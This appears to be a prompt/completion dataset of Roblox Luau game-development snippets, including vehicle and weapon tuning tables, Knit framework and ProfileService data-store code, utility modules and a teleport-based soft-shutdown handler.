prompt
stringlengths 2
14.7k
| completion
stringlengths 1
99.7k
|
---|---|
---
|
local Paint = false
script.Parent.MouseButton1Click:connect(function()
Paint = not Paint
handler:FireServer("Moss",Paint)
end)
|
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
|
module.BubbleChatEnabled = true
module.ClassicChatEnabled =false
|
-- указание на название Базы Данных
|
local DB = game.Workspace.DataStore.Value
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 1000 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 9000 -- Use sliders to manipulate values
Tune.Redline = 11000 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.20
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Event
|
ClickDetector.MouseClick:Connect(function()
if ClickReady.Value == true then
ClickReady.Value = false
ButtonClick:Play()
|
--TheNexusAvenger
--Provides a client buffer for launching projectiles.
--This uses an exploit of network ownership where clients can change the physics
--of parts locally without needing to handle anything on the server.
|
local BufferCreator = {}
local Tool = script.Parent.Parent
|
--[=[
Computes the set difference between the two sets
@param set table
@param otherSet table
@return table
]=]
|
function Set.difference(set, otherSet)
local newSet = {}
for key, _ in pairs(set) do
newSet[key] = true
end
for key, _ in pairs(otherSet) do
newSet[key] = nil
end
return newSet
end
return Set
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 556 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5000 -- Use sliders to manipulate values
Tune.Redline = 5500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--Set up teleport arrival.
|
TeleportService.LocalPlayerArrivedFromTeleport:Connect(function(Gui,Data)
if Data and Data.IsTemporaryServer then
--If it is a temporary server, keep showing the Gui, wait, then teleport back.
Gui.Parent = Players.LocalPlayer:WaitForChild("PlayerGui",10^99)
StarterGui:SetCore("TopbarEnabled",false)
StarterGui:SetCoreGuiEnabled("All",false)
wait(5)
TeleportService:Teleport(Data.PlaceId,Players.LocalPlayer,nil,Gui)
else
--If the player is arriving back from a temporary server, remove the Gui.
if Gui and Gui.Name == "SoftShutdownGui" then Gui:Destroy() end
end
end)
|
--[[
Knit.CreateService(service): Service
Knit.AddServices(folder): Service[]
Knit.AddServicesDeep(folder): Service[]
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]]
|
local KnitServer = {}
KnitServer.Version = script.Parent.Version.Value
KnitServer.Services = {}
KnitServer.Util = script.Parent.Util
local knitRepServiceFolder = Instance.new("Folder")
knitRepServiceFolder.Name = "Services"
local Promise = require(KnitServer.Util.Promise)
local Thread = require(KnitServer.Util.Thread)
local Signal = require(KnitServer.Util.Signal)
local Loader = require(KnitServer.Util.Loader)
local Ser = require(KnitServer.Util.Ser)
local RemoteSignal = require(KnitServer.Util.Remote.RemoteSignal)
local RemoteProperty = require(KnitServer.Util.Remote.RemoteProperty)
local TableUtil = require(KnitServer.Util.TableUtil)
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function CreateRepFolder(serviceName)
local folder = Instance.new("Folder")
folder.Name = serviceName
return folder
end
local function GetFolderOrCreate(parent, name)
local f = parent:FindFirstChild(name)
if (not f) then
f = Instance.new("Folder")
f.Name = name
f.Parent = parent
end
return f
end
local function AddToRepFolder(service, remoteObj, folderOverride)
if (folderOverride) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, folderOverride)
elseif (remoteObj:IsA("RemoteFunction")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RF")
elseif (remoteObj:IsA("RemoteEvent")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RE")
elseif (remoteObj:IsA("ValueBase")) then
remoteObj.Parent = GetFolderOrCreate(service._knit_rep_folder, "RP")
else
error("Invalid rep object: " .. remoteObj.ClassName)
end
if (not service._knit_rep_folder.Parent) then
service._knit_rep_folder.Parent = knitRepServiceFolder
end
end
function KnitServer.IsService(object)
return type(object) == "table" and object._knit_is_service == true
end
function KnitServer.CreateService(service)
assert(type(service) == "table", "Service must be a table; got " .. type(service))
assert(type(service.Name) == "string", "Service.Name must be a string; got " .. type(service.Name))
assert(#service.Name > 0, "Service.Name must be a non-empty string")
assert(KnitServer.Services[service.Name] == nil, "Service \"" .. service.Name .. "\" already exists")
service = TableUtil.Assign(service, {
_knit_is_service = true;
_knit_rf = {};
_knit_re = {};
_knit_rp = {};
_knit_rep_folder = CreateRepFolder(service.Name);
})
if (type(service.Client) ~= "table") then
service.Client = {Server = service}
else
if (service.Client.Server ~= service) then
service.Client.Server = service
end
end
KnitServer.Services[service.Name] = service
return service
end
function KnitServer.AddServices(folder)
return Loader.LoadChildren(folder)
end
function KnitServer.AddServicesDeep(folder)
return Loader.LoadDescendants(folder)
end
function KnitServer.GetService(serviceName)
assert(type(serviceName) == "string", "ServiceName must be a string; got " .. type(serviceName))
return assert(KnitServer.Services[serviceName], "Could not find service \"" .. serviceName .. "\"")
end
function KnitServer.BindRemoteEvent(service, eventName, remoteEvent)
assert(service._knit_re[eventName] == nil, "RemoteEvent \"" .. eventName .. "\" already exists")
local re = remoteEvent._remote
re.Name = eventName
service._knit_re[eventName] = re
AddToRepFolder(service, re)
end
function KnitServer.BindRemoteFunction(service, funcName, func)
assert(service._knit_rf[funcName] == nil, "RemoteFunction \"" .. funcName .. "\" already exists")
local rf = Instance.new("RemoteFunction")
rf.Name = funcName
service._knit_rf[funcName] = rf
AddToRepFolder(service, rf)
function rf.OnServerInvoke(...)
return Ser.SerializeArgsAndUnpack(func(service.Client, Ser.DeserializeArgsAndUnpack(...)))
end
end
function KnitServer.BindRemoteProperty(service, propName, prop)
assert(service._knit_rp[propName] == nil, "RemoteProperty \"" .. propName .. "\" already exists")
prop._object.Name = propName
service._knit_rp[propName] = prop
AddToRepFolder(service, prop._object, "RP")
end
function KnitServer.Start()
if (started) then
return Promise.Reject("Knit already started")
end
started = true
local services = KnitServer.Services
return Promise.new(function(resolve)
-- Bind remotes:
for _,service in pairs(services) do
for k,v in pairs(service.Client) do
if (type(v) == "function") then
KnitServer.BindRemoteFunction(service, k, v)
elseif (RemoteSignal.Is(v)) then
KnitServer.BindRemoteEvent(service, k, v)
elseif (RemoteProperty.Is(v)) then
KnitServer.BindRemoteProperty(service, k, v)
elseif (Signal.Is(v)) then
warn("Found Signal instead of RemoteSignal (Knit.Util.RemoteSignal). Please change to RemoteSignal. [" .. service.Name .. ".Client." .. k .. "]")
end
end
end
-- Init:
local promisesInitServices = {}
for _,service in pairs(services) do
if (type(service.KnitInit) == "function") then
table.insert(promisesInitServices, Promise.new(function(r)
service:KnitInit()
r()
end))
end
end
resolve(Promise.All(promisesInitServices))
end):Then(function()
-- Start:
for _,service in pairs(services) do
if (type(service.KnitStart) == "function") then
Thread.SpawnNow(service.KnitStart, service)
end
end
startedComplete = true
onStartedComplete:Fire()
Thread.Spawn(function()
onStartedComplete:Destroy()
end)
-- Expose service remotes to everyone:
knitRepServiceFolder.Parent = script.Parent
end)
end
function KnitServer.OnStart()
if (startedComplete) then
return Promise.Resolve()
else
return Promise.FromEvent(onStartedComplete.Event)
end
end
return KnitServer
|
--[=[
@type ClientMiddlewareFn (args: {any}) -> (shouldContinue: boolean, ...: any)
@within KnitClient
For more info, see [ClientComm](https://sleitnick.github.io/RbxUtil/api/ClientComm/) documentation.
]=]
|
type ClientMiddlewareFn = (args: { any }) -> (boolean, ...any)
|
--Initial Attachments--
|
local ML = Instance.new("Attachment",FL)
ML.Rotation = Vector3.new(0,0,0)
local MR = Instance.new("Attachment",FR)
MR.Rotation = Vector3.new(0,0,0)
local MRR = Instance.new("Attachment",RL)
MRR.Rotation = Vector3.new(0,0,0)
local MLL = Instance.new("Attachment",RR)
MLL.Rotation = Vector3.new(0,0,0)
local MLLL = Instance.new("Attachment",BRL)
MLLL.Rotation = Vector3.new(0,0,90)
local MRRR = Instance.new("Attachment",BRR)
MRRR.Rotation = Vector3.new(0,0,90)
script.Parent.Parent.Parent.FL.Parent = script.Parent.Parent.Parent.Wheels
script.Parent.Parent.Parent.FR.Parent = script.Parent.Parent.Parent.Wheels
script.Parent.Parent.Parent.RL.Parent = script.Parent.Parent.Parent.Wheels
script.Parent.Parent.Parent.RR.Parent = script.Parent.Parent.Parent.Wheels
|
--- Players in server
|
for _, player in ipairs(game.Players:GetPlayers()) do
PlayerAdded(player)
end
game.Players.PlayerAdded:Connect(PlayerAdded)
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 426
Tune.IdleRPM = 700
Tune.PeakRPM = 4600
Tune.Redline = 6600
Tune.EqPoint = 5250
Tune.PeakSharpness = 2
Tune.CurveMult = 0
Tune.InclineComp = 5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 300 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = true
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = true --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 4
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.4)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
-- In radians the minimum accuracy penalty
|
local MinSpread = 0.005
|
--/Recoil Modification
|
module.camRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.gunRecoil = {
RecoilUp = 1
,RecoilTilt = 1
,RecoilLeft = 1
,RecoilRight = 1
}
module.AimRecoilReduction = .95
module.AimSpreadReduction = 1
module.MinRecoilPower = 1
module.MaxRecoilPower = 1
module.RecoilPowerStepAmount = 1
module.MinSpread = 1
module.MaxSpread = 1
module.AimInaccuracyStepAmount = 1
module.AimInaccuracyDecrease = 1
module.WalkMult = 1
module.MuzzleVelocityMod = 1
return module
|
----------------------------------------------------------------------
|
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
local bewl = script.Parent:FindFirstChild("Bool")
if bewl then
bewl:Destroy()
end
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
script.Parent.Handle.SlingshotSound:Play()
fire(targetPos)
wait(1)
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = 100
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
-- you can mess with these settings
|
local easingtime = 0.1 --0~1
local walkspeeds = {
enabled = true;
walkingspeed = 16;
backwardsspeed = 10;
sidewaysspeed = 15;
diagonalspeed = 16;
runningspeed = 30;
runningFOV= 85;
}
|
-- ProfileStore object:
|
local ProfileStore = {
--[[
Mock = {},
_profile_store_name = "", -- [string] -- DataStore name
_profile_template = {}, -- [table]
_global_data_store = global_data_store, -- [GlobalDataStore] -- Object returned by DataStoreService:GetDataStore(_profile_store_name)
_loaded_profiles = {[profile_key] = Profile, ...},
_profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...},
_mock_loaded_profiles = {[profile_key] = Profile, ...},
_mock_profile_load_jobs = {[profile_key] = {load_id, loaded_data}, ...},
--]]
}
ProfileStore.__index = ProfileStore
function ProfileStore:LoadProfileAsync(profile_key, not_released_handler, _use_mock) --> [Profile / nil] not_released_handler(place_id, game_job_id)
if self._profile_template == nil then
error("[ProfileService]: Profile template not set - ProfileStore:LoadProfileAsync() locked for this ProfileStore")
end
if type(profile_key) ~= "string" then
error("[ProfileService]: profile_key must be a string")
elseif string.len(profile_key) == 0 then
error("[ProfileService]: Invalid profile_key")
end
if type(not_released_handler) ~= "function" and not_released_handler ~= "ForceLoad" and not_released_handler ~= "Steal" then
error("[ProfileService]: Invalid not_released_handler")
end
if ProfileService.ServiceLocked == true then
return nil
end
WaitForPendingProfileStore(self)
local is_user_mock = _use_mock == UseMockTag
-- Check if profile with profile_key isn't already loaded in this session:
for _, profile_store in ipairs(ActiveProfileStores) do
if profile_store._profile_store_name == self._profile_store_name then
local loaded_profiles = is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles
if loaded_profiles[profile_key] ~= nil then
error("[ProfileService]: Profile of ProfileStore \"" .. self._profile_store_name .. "\" with key \"" .. profile_key .. "\" is already loaded in this session")
-- Are you using Profile:Release() properly?
end
end
end
ActiveProfileLoadJobs = ActiveProfileLoadJobs + 1
local force_load = not_released_handler == "ForceLoad"
local force_load_steps = 0
local request_force_load = force_load -- First step of ForceLoad
local steal_session = false -- Second step of ForceLoad
local aggressive_steal = not_released_handler == "Steal" -- Developer invoked steal
while ProfileService.ServiceLocked == false do
-- Load profile:
-- SPECIAL CASE - If LoadProfileAsync is called for the same key before another LoadProfileAsync finishes,
-- yoink the DataStore return for the new call. The older call will return nil. This would prevent very rare
-- game breaking errors where a player rejoins the server super fast.
local profile_load_jobs = is_user_mock == true and self._mock_profile_load_jobs or self._profile_load_jobs
local loaded_data
local load_id = LoadIndex + 1
LoadIndex = load_id
local profile_load_job = profile_load_jobs[profile_key] -- {load_id, loaded_data}
if profile_load_job ~= nil then
profile_load_job[1] = load_id -- Yoink load job
while profile_load_job[2] == nil do -- Wait for job to finish
Madwork.HeartbeatWait()
end
if profile_load_job[1] == load_id then -- Load job hasn't been double-yoinked
loaded_data = profile_load_job[2]
profile_load_jobs[profile_key] = nil
else
return nil
end
else
profile_load_job = {load_id, nil}
profile_load_jobs[profile_key] = profile_load_job
profile_load_job[2] = StandardProfileUpdateAsyncDataStore(
self,
profile_key,
{
ExistingProfileHandle = function(latest_data)
if ProfileService.ServiceLocked == false then
local active_session = latest_data.MetaData.ActiveSession
local force_load_session = latest_data.MetaData.ForceLoadSession
-- IsThisSession(active_session)
if active_session == nil then
latest_data.MetaData.ActiveSession = {PlaceId, JobId}
latest_data.MetaData.ForceLoadSession = nil
elseif type(active_session) == "table" then
if IsThisSession(active_session) == false then
local last_update = latest_data.MetaData.LastUpdate
if last_update ~= nil then
if os.time() - last_update > SETTINGS.AssumeDeadSessionLock then
latest_data.MetaData.ActiveSession = {PlaceId, JobId}
latest_data.MetaData.ForceLoadSession = nil
return
end
end
if steal_session == true or aggressive_steal == true then
local force_load_uninterrupted = false
if force_load_session ~= nil then
force_load_uninterrupted = IsThisSession(force_load_session)
end
if force_load_uninterrupted == true or aggressive_steal == true then
latest_data.MetaData.ActiveSession = {PlaceId, JobId}
latest_data.MetaData.ForceLoadSession = nil
end
elseif request_force_load == true then
latest_data.MetaData.ForceLoadSession = {PlaceId, JobId}
end
else
latest_data.MetaData.ForceLoadSession = nil
end
end
end
end,
MissingProfileHandle = function(latest_data)
latest_data.Data = DeepCopyTable(self._profile_template)
latest_data.MetaData = {
ProfileCreateTime = os.time(),
SessionLoadCount = 0,
ActiveSession = {PlaceId, JobId},
ForceLoadSession = nil,
MetaTags = {},
}
end,
EditProfile = function(latest_data)
if ProfileService.ServiceLocked == false then
local active_session = latest_data.MetaData.ActiveSession
if active_session ~= nil and IsThisSession(active_session) == true then
latest_data.MetaData.SessionLoadCount = latest_data.MetaData.SessionLoadCount + 1
latest_data.MetaData.LastUpdate = os.time()
end
end
end,
},
is_user_mock
)
if profile_load_job[1] == load_id then -- Load job hasn't been yoinked
loaded_data = profile_load_job[2]
profile_load_jobs[profile_key] = nil
else
return nil -- Load job yoinked
end
end
-- Handle load_data:
if loaded_data ~= nil then
local active_session = loaded_data.MetaData.ActiveSession
if type(active_session) == "table" then
if IsThisSession(active_session) == true then
-- Special component in MetaTags:
loaded_data.MetaData.MetaTagsLatest = DeepCopyTable(loaded_data.MetaData.MetaTags)
-- Case #1: Profile is now taken by this session:
-- Create Profile object:
local global_updates_object = {
_updates_latest = loaded_data.GlobalUpdates,
_pending_update_lock = {},
_pending_update_clear = {},
_new_active_update_listeners = {},
_new_locked_update_listeners = {},
_profile = nil,
}
setmetatable(global_updates_object, GlobalUpdates)
local profile = {
Data = loaded_data.Data,
MetaData = loaded_data.MetaData,
GlobalUpdates = global_updates_object,
_profile_store = self,
_profile_key = profile_key,
_release_listeners = {},
_load_timestamp = os.clock(),
_is_user_mock = is_user_mock,
}
setmetatable(profile, Profile)
global_updates_object._profile = profile
-- Referencing Profile object in ProfileStore:
if next(self._loaded_profiles) == nil and next(self._mock_loaded_profiles) == nil then -- ProfileStore object was inactive
table.insert(ActiveProfileStores, self)
end
if is_user_mock == true then
self._mock_loaded_profiles[profile_key] = profile
else
self._loaded_profiles[profile_key] = profile
end
-- Adding profile to AutoSaveList;
AddProfileToAutoSave(profile)
-- Special case - finished loading profile, but session is shutting down:
if ProfileService.ServiceLocked == true then
SaveProfileAsync(profile, true) -- Release profile and yield until the DataStore call is finished
profile = nil -- nil will be returned by this call
end
-- Return Profile object:
ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1
return profile
else
-- Case #2: Profile is taken by some other session:
if force_load == true then
local force_load_session = loaded_data.MetaData.ForceLoadSession
local force_load_uninterrupted = false
if force_load_session ~= nil then
force_load_uninterrupted = IsThisSession(force_load_session)
end
if force_load_uninterrupted == true then
if request_force_load == false then
force_load_steps = force_load_steps + 1
if force_load_steps == SETTINGS.ForceLoadMaxSteps then
steal_session = true
end
end
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
else
-- Another session tried to force load this profile:
ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1
return nil
end
request_force_load = false -- Only request a force load once
elseif aggressive_steal == true then
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
else
local handler_result = not_released_handler(active_session[1], active_session[2])
if handler_result == "Repeat" then
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
elseif handler_result == "Cancel" then
ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1
return nil
elseif handler_result == "ForceLoad" then
force_load = true
request_force_load = true
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
elseif handler_result == "Steal" then
aggressive_steal = true
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
else
error("[ProfileService]: Invalid return from not_released_handler")
end
end
end
else
ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1
error("[ProfileService]: Invalid ActiveSession value in Profile.MetaData - Fatal corruption") -- It's unlikely this will ever fire
end
else
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
end
end
ActiveProfileLoadJobs = ActiveProfileLoadJobs - 1
return nil -- If loop breaks return nothing
end
function ProfileStore:GlobalUpdateProfileAsync(profile_key, update_handler, _use_mock) --> [GlobalUpdates / nil] (update_handler(GlobalUpdates))
if type(profile_key) ~= "string" then
error("[ProfileService]: Invalid profile_key")
elseif string.len(profile_key) == 0 then
error("[ProfileService]: Invalid profile_key")
end
if type(update_handler) ~= "function" then
error("[ProfileService]: Invalid update_handler")
end
if ProfileService.ServiceLocked == true then
return nil
end
WaitForPendingProfileStore(self)
while ProfileService.ServiceLocked == false do
-- Updating profile:
local loaded_data = StandardProfileUpdateAsyncDataStore(
self,
profile_key,
{
ExistingProfileHandle = nil,
MissingProfileHandle = nil,
EditProfile = function(latest_data)
-- Running update_handler:
local global_updates_object = {
_updates_latest = latest_data.GlobalUpdates,
_update_handler_mode = true,
}
setmetatable(global_updates_object, GlobalUpdates)
update_handler(global_updates_object)
end,
},
_use_mock == UseMockTag
)
-- Handling loaded_data:
if loaded_data ~= nil then
-- Return GlobalUpdates object (Update successful):
local global_updates_object = {
_updates_latest = loaded_data.GlobalUpdates,
}
setmetatable(global_updates_object, GlobalUpdates)
return global_updates_object
else
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again
end
end
return nil -- Return nothing (Update unsuccessful)
end
function ProfileStore:ViewProfileAsync(profile_key, _use_mock) --> [Profile / nil]
if type(profile_key) ~= "string" then
error("[ProfileService]: Invalid profile_key")
elseif string.len(profile_key) == 0 then
error("[ProfileService]: Invalid profile_key")
end
if ProfileService.ServiceLocked == true then
return nil
end
WaitForPendingProfileStore(self)
while ProfileService.ServiceLocked == false do
-- Load profile:
local loaded_data = StandardProfileUpdateAsyncDataStore(
self,
profile_key,
{
ExistingProfileHandle = nil,
MissingProfileHandle = nil,
EditProfile = nil,
},
_use_mock == UseMockTag
)
-- Handle load_data:
if loaded_data ~= nil then
-- Create Profile object:
local global_updates_object = {
_updates_latest = loaded_data.GlobalUpdates,
_profile = nil,
}
setmetatable(global_updates_object, GlobalUpdates)
local profile = {
Data = loaded_data.Data,
MetaData = loaded_data.MetaData,
GlobalUpdates = global_updates_object,
_profile_store = self,
_profile_key = profile_key,
_view_mode = true,
_load_timestamp = os.clock(),
}
setmetatable(profile, Profile)
global_updates_object._profile = profile
-- Returning Profile object:
return profile
else
Madwork.HeartbeatWait(SETTINGS.LoadProfileRepeatDelay) -- Let the cycle repeat again after a delay
end
end
return nil -- If loop breaks return nothing
end
function ProfileStore:WipeProfileAsync(profile_key, _use_mock) --> is_wipe_successful [bool]
if type(profile_key) ~= "string" then
error("[ProfileService]: Invalid profile_key")
elseif string.len(profile_key) == 0 then
error("[ProfileService]: Invalid profile_key")
end
if ProfileService.ServiceLocked == true then
return false
end
WaitForPendingProfileStore(self)
return StandardProfileUpdateAsyncDataStore(
self,
profile_key,
{
WipeProfile = true
},
_use_mock == UseMockTag
)
end
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 230 ,
spInc = 20 , -- Increment between labelled notches
}
}
|
--!strict
|
local LuauPolyfill = script.Parent
local arrayForEach = require(LuauPolyfill.Array.forEach)
local arrayMap = require(LuauPolyfill.Array.map)
local types = require(LuauPolyfill.types)
type Object = types.Object
type Array<T> = types.Array<T>
type Table<T, V> = types.Table<T, V>
type Tuple<T, V> = types.Tuple<T, V>
type mapCallbackFn<K, V> = types.mapCallbackFn<K, V>
type mapCallbackFnWithThisArg<K, V> = types.mapCallbackFnWithThisArg<K, V>
type Map<K, V> = types.Map<K, V>
type Map_Statics = {
new: <K, V>(iterable: Array<Array<any>>?) -> Map<K, V>,
}
local Map: Map<any, any> & Map_Statics = ({} :: any) :: Map<any, any> & Map_Statics
function Map.new<K, V>(iterable: Array<Array<any>>?): Map<K, V>
local array
local map = {}
if iterable ~= nil then
if _G.__DEV__ then
local iterableType = typeof(iterable)
if iterableType == "table" then
if #iterable > 0 and typeof(iterable[1]) ~= "table" then
error("cannot create Map from {K, V} form, it must be { {K, V}... }")
end
else
error(("cannot create array from value of type `%s`"):format(iterableType))
end
end
local arrayFromIterable = table.clone(iterable) :: Array<Array<any>>
array = table.create(#arrayFromIterable)
for _, entry in arrayFromIterable do
local key = entry[1]
if _G.__DEV__ then
if key == nil then
error("cannot create Map from a table that isn't an array.")
end
end
local val = entry[2]
-- only add to array if new
if map[key] == nil then
table.insert(array, key)
end
-- always assign
map[key] = val
end
else
array = {}
end
return (setmetatable({
size = #array,
_map = map,
_array = array,
}, Map) :: any) :: Map<K, V>
end
|
--[=[
The same as combineLatestAll.
This is for backwards compatability, and is deprecated.
@function combineAll
@deprecated 1.0.0 -- Use Rx.combineLatestAll
@within Rx
@return (source: Observable<Observable<T>>) -> Observable<{ T }>
]=]
|
Rx.combineAll = Rx.combineLatestAll
|
--[=[
Unions the set with the other set, updating the `set`
@param set table
@param otherSet table
@return table
]=]
|
function Set.unionUpdate(set, otherSet)
for key, _ in pairs(otherSet) do
set[key] = true
end
end
|
--script.Parent.GG.Velocity = script.Parent.GG.CFrame.lookVector *script.Parent.Speed.Value
--script.Parent.GGG.Velocity = script.Parent.GGG.CFrame.lookVector *script.Parent.Speed.Value
|
script.Parent.GGGG.Velocity = script.Parent.GGGG.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.H.Velocity = script.Parent.H.CFrame.lookVector *script.Parent.Speed.Value
|
--[[
Creates the PhysicsService collision groups used in the game and defines their
relationship
]]
|
local PhysicsService = game:GetService("PhysicsService")
local ServerStorage = game:GetService("ServerStorage")
local ServerConstants = require(ServerStorage.Source.Constants.ServerConstants)
local WHEEL_GROUP = ServerConstants.PHYSICS_GROUP_WHEEL
local HITBOX_GROUP = ServerConstants.PHYSICS_GROUP_HITBOX
return function()
PhysicsService:CreateCollisionGroup(HITBOX_GROUP)
PhysicsService:CreateCollisionGroup(WHEEL_GROUP)
PhysicsService:CollisionGroupSetCollidable(HITBOX_GROUP, WHEEL_GROUP, false)
end
|
--[[
Expand a node by setting its callback environment and then calling it. Any
further it and describe calls within the callback will be added to the tree.
]]
|
function TestNode:expand()
local originalEnv = getfenv(self.callback)
local callbackEnv = setmetatable({}, { __index = originalEnv })
for key, value in pairs(self.environment) do
callbackEnv[key] = value
end
-- Copy 'script' directly to new env to make Studio debugger happy.
-- Studio debugger does not look into __index, because of security reasons
callbackEnv.script = originalEnv.script
setfenv(self.callback, callbackEnv)
local success, result = xpcall(self.callback, function(message)
return debug.traceback(tostring(message), 2)
end)
if not success then
self.loadError = result
end
end
local TestPlan = {}
TestPlan.__index = TestPlan
|
-- BouyertheDestroyer
-- edited by Frozzie
|
function Paint(Brick)
--local Constant = (Brick.BrickColor.r + Brick.BrickColor.b + Brick.BrickColor.g)
Brick.Color = Color3.new(1-Brick.BrickColor.r, 1-Brick.BrickColor.g, 1-Brick.BrickColor.b)
end
function Search(Object)
coroutine.resume(coroutine.create(Paint), Object)
local Children = Object:GetChildren()
for X = 1, # Children do
Search(Children[X])
end
end
function added(child)
Search(child)
end
workspace.ChildAdded:connect(added)
Search(game.Workspace)
light = game.Lighting
if light:GetMinutesAfterMidnight() < 6 and light:GetMinutesAfterMidnight() > 18 then
script.White:Clone().Parent = light
else
script.Black:Clone().Parent = light
end
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = 0.9
Tune.RCamber = 0.9
Tune.FToe = 0
Tune.RToe = 0
|
--Tires
|
